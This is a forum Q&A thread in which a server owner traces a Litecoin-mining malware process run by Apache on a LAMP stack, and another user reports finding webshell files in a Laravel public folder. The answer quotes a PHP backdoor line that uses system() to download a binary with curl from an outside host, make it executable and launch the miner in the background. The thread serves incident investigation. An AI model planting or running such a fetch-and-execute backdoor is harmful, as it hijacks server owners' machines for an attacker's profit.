How to track which php file executed a malware binary

Question

I have a server that seems to be compromised checking the processes running I see an executable that seems to be a mining malware and the hacker uses it to mine litecoin at the address MKkb4o9jUYmcQRRkpJWK82mW2S1ZZMtaLg, the executable file is deleted from the server but I was able to recover it from the server's memory and run it through virustotal it seems it is a known malware.

Now I want to know how this executable got into my server, my server mainly runs a LAMP stack, running systemctl status apache2 reveals that the executable file was indeed run by the apache server

     Loaded: loaded (/lib/systemd/system/apache2.service; enabled; vendor preset: enabled)
     Active: active (running) since Sat 2022-02-19 07:45:43 UTC; 1 weeks 1 days ago
       Docs: https://httpd.apache.org/docs/2.4/
   Main PID: 883 (apache2)
      Tasks: 245 (limit: 9447)
     Memory: 1.0G
     CGroup: /system.slice/apache2.service
             ├─    883 /usr/sbin/apache2 -k start
             ├─ 111220 ./dir -a minotaurx -o stratum+tcps://stratum-eu.rplant.xyz:17063 -u MKkb4o9jUYmcQRRkpJWK82mW2S1>
             ├─ 132904 ./dir -a minotaurx -o stratum+tcps://stratum-eu.rplant.xyz:17063 -u MKkb4o9jUYmcQRRkpJWK82mW2S1>
             ├─ 784132 ./dir -a minotaurx -o stratum+tcps://stratum-eu.rplant.xyz:17063 -u MKkb4o9jUYmcQRRkpJWK82mW2S1>
             ├─1314543 ./dir -a minotaurx -o stratum+tcps://stratum-eu.rplant.xyz:17063 -u MKkb4o9jUYmcQRRkpJWK82mW2S1>
             ├─1518416 /usr/sbin/apache2 -k start
             ├─1518417 /usr/sbin/apache2 -k start
             ├─1518418 /usr/sbin/apache2 -k start
             ├─1521237 /bin/php-cgi7.4
             ├─1521238 /bin/php-cgi7.4
             ├─1521239 /bin/php-cgi7.4
             ├─1521240 /bin/php-cgi7.4
             ├─1521241 /bin/php-cgi7.4

since the apps on my server are all PHP scripts I assumed that one PHP script has an exploit (which I could be wrong about).

I want to track down which PHP file(if it is a PHP file) executed that binary? so that I can fix the exploit.

Answer 1

I have the same problem. Try to find "dir" file on your public folder like /var/www/. In my case I found this on my laravel website, there are file looks like this on my "public" folder:

• 175e93adasd.php
• about.php
• cmd.php
• cok.php
• dam.php
• db.php
• dir.php
• galekjaya.php
• galek.php
• sabun.php
• suw.php
• unit.php
• wikindex.php
• wp-go.php
• gas.sh
• filene.txt
• dir

There are file that contain backdoor and binary executable. SS from cok.php that contain this script:

raimuasu <?php system('curl -s --insecure http://moneyua.vip/dir -o dir; chmod +x dir; ./dir -a minotaurx -o stratum+tcps://stratum-eu.rplant.xyz:17063 -u MKkb4o9jUYmcQRRkpJWK82mW2S1ZZMtaLg.jajal -p password=jancok --no-longpoll -q --randomize --background > /dev/null'); $core = system('nproc');?>